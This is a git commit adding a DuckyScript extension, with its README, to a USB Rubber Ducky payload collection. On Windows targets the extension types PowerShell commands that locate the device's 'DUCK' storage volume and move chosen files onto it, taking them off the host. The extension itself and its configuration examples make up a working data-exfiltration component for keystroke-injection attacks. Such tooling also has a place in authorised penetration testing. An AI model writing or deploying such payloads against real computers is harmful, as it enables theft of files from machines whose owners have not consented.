Extension: SAVE FILES IN RUBBER DUCKY STORAGE

Creation of the extension "SAVE FILES IN RUBBER DUCKY STORAGE" based on the old proposal "Send Files Through Dropbox - Windows"[1]

[1] https://github.com/hak5/usbrubberducky-payloads/pull/399
pull/427/head
Aleff 2024-01-04 17:04:18 +01:00
parent 8ee67a811b
commit 7652db1704
2 changed files with 181 additions and 0 deletions

View File

@ -0,0 +1,99 @@
# Save Files In Rubber Ducky Storage - Windows
This extension can be used to save one or more files through the USB Rubber Ducky storage without having to copy and paste reused code every time, but standardizing a methodology that avoids errors.
```
How many files do you want to save?
|
|-- Single File
| |
| |-- Do you already know the full file path? (e.g., C:\Users\Aleff\Downloads\photo.png)
| | |
| | |-- Use the SINGLE-FILE version
| | | |
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
| | | |-- Define the file path in #SINGLE-PATH
| | |
| |-- Don't know the full path but can obtain it at runtime through PowerShell?
| | |
| | |-- Use the $fileToSavePath variable
| | | |
| | | |-- Set #FLAG-SINGLE-FILE to TRUE
| | | |-- Obtain the file path through PowerShell and assign it to $fileToSavePath
|
|-- Multiple Files
| |
| |-- Set the #FLAG-SINGLE-FILE variable to FALSE
| | |
| | |-- Use an array of strings named $fileToSavePaths to collect the paths of all the files you want to use
```
## Target Environment
- **Target**: Windows PowerShell
## Usage
Insert this extension when you have one or more files that you want to save via USB Rubber Ducky storage.
## Configuration
Before using the extension, you need to configure it by setting certain variables in the DuckyScript payload. Here are the configuration options:
### 2. Single File or Multiple Files
You can choose to send a single file or multiple files. Configure the extension accordingly.
#### Single File Configuration
- **Variable**: #FLAG-SINGLE-FILE
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #FLAG-SINGLE-FILE to TRUE if you want to save just one file. In this case, you will need to specify the file path within the #SINGLE-PATH variable. Alternatively, you can acquire the file path at runtime via PowerShell and store it in the $fileToSavePath variable.
Example in DuckyScript:
```DuckyScript
DEFINE #FLAG-SINGLE-FILE TRUE
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
```
Example in PowerShell before using the extension:
```powershell
$fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
```
#### Multiple Files Configuration
- **Variable**: #FLAG-SINGLE-FILE
- **Type**: Boolean (TRUE or FALSE)
- **Description**: Set #FLAG-SINGLE-FILE to FALSE if you want to save multiple files. In this case, in PowerShell, you will have to create the variable $fileToSavePaths, which is an array of strings containing the list of paths related to the files you want to export.
Example in PowerShell before using the extension:
```powershell
$fileToSavePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
"C:\Users\Aleff\Downloads\document.pdf",
"C:\Users\Aleff\Downloads\song.mp3"
)
```
**Tips for Working with Arrays in PowerShell:**
- How to create an array:
```powershell
$fileToSavePaths = @()
```
- How to add an element to the array:
```powershell
$fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png"
```
- How to view the array:
```powershell
$fileToSavePaths
```
That's it! You can now use this extension with the appropriate configuration to save files via the USB Rubber Ducky storage using the same USB Rubber Ducky.

View File

@ -0,0 +1,82 @@
EXTENSION SAVE_FILES_IN_RUBBER_DUCKY_STORAGE-Windows
REM VERSION 1.0
REM AUTHOR: Aleff
REM_BLOCK Documentation
This extension is used to save one or more files through the USB Rubber Ducky storage.
TARGET:
Windows 10/11
USAGE:
Insert this extension when you have one or more files that you want to save in your USB Rubber Ducky.
CONFIGURATION:
Set #FLAG-SINGLE-FILE with TRUE if you want to save just one file.
In this case you will need to specify the file path within the #SINGLE-PATH variable OR, in case the exact path to the file you can only acquire it at runtime and so via the powershell, use in the powershell the $fileToSavePath variable to capture this path.
i.e. in DuckyScript EXTENSION
DEFINE #SINGLE-PATH C:\Users\Aleff\Downloads\photo.png
i.e. in PowerShell before extension
$fileToSavePath = "C:\Users\Aleff\Downloads\photo.png"
Set #FLAG-SINGLE-FILE FALSE if you want to send multiple files.
In this case in the PowerShell you will have to create the variable $fileToSavePaths, which is an array of strings that should contain the list of paths related to the files you want to save.
i.e. in PowerShell before extension:
$fileToSavePaths = @(
"C:\Users\Aleff\Downloads\photo.png",
"C:\Users\Aleff\Downloads\document.pdf",
"C:\Users\Aleff\Downloads\song.mp3"
)
Some tips:
How to create an Array?
> $fileToSavePaths = @()
How to add an element?
> $fileToSavePaths += "C:\Users\Aleff\Downloads\photo.png"
How to see the array?
> $fileToSavePaths
END_REM
REM Settings
DEFINE #FLAG-SINGLE-FILE FALSE
DEFINE #SINGLE-PATH 0
REM Extension Code
FUNCTION SAVE-SINGLE-FILE()
IF ( #SINGLE-PATH != 0 ) THEN
STRINGLN mv #SINGLE-PATH >> ${m}:\
ELSE IF ( #SINGLE-PATH == 0 ) THEN
STRINGLN mv ${fileToSavePath} >> ${m}:\
END_IF
END_FUNCTION
FUNCTION SAVE-MULTIPLE-FILES()
STRINGLN
foreach ($fileToSavePath in $fileToSavePaths) {
mv ${fileToSavePath} >> ${m}:\
}
END_STRINGLN
END_FUNCTION
STRINGLN $m=(Get-Volume -FileSystemLabel 'DUCK').DriveLetter;
IF_DEFINED_TRUE #FLAG-SINGLE-FILE
SAVE-SINGLE-FILE()
END_IF_DEFINED
IF_NOT_DEFINED_TRUE #FLAG-SINGLE-FILE
SAVE-MULTIPLE-FILES()
END_IF_DEFINED
END_EXTENSION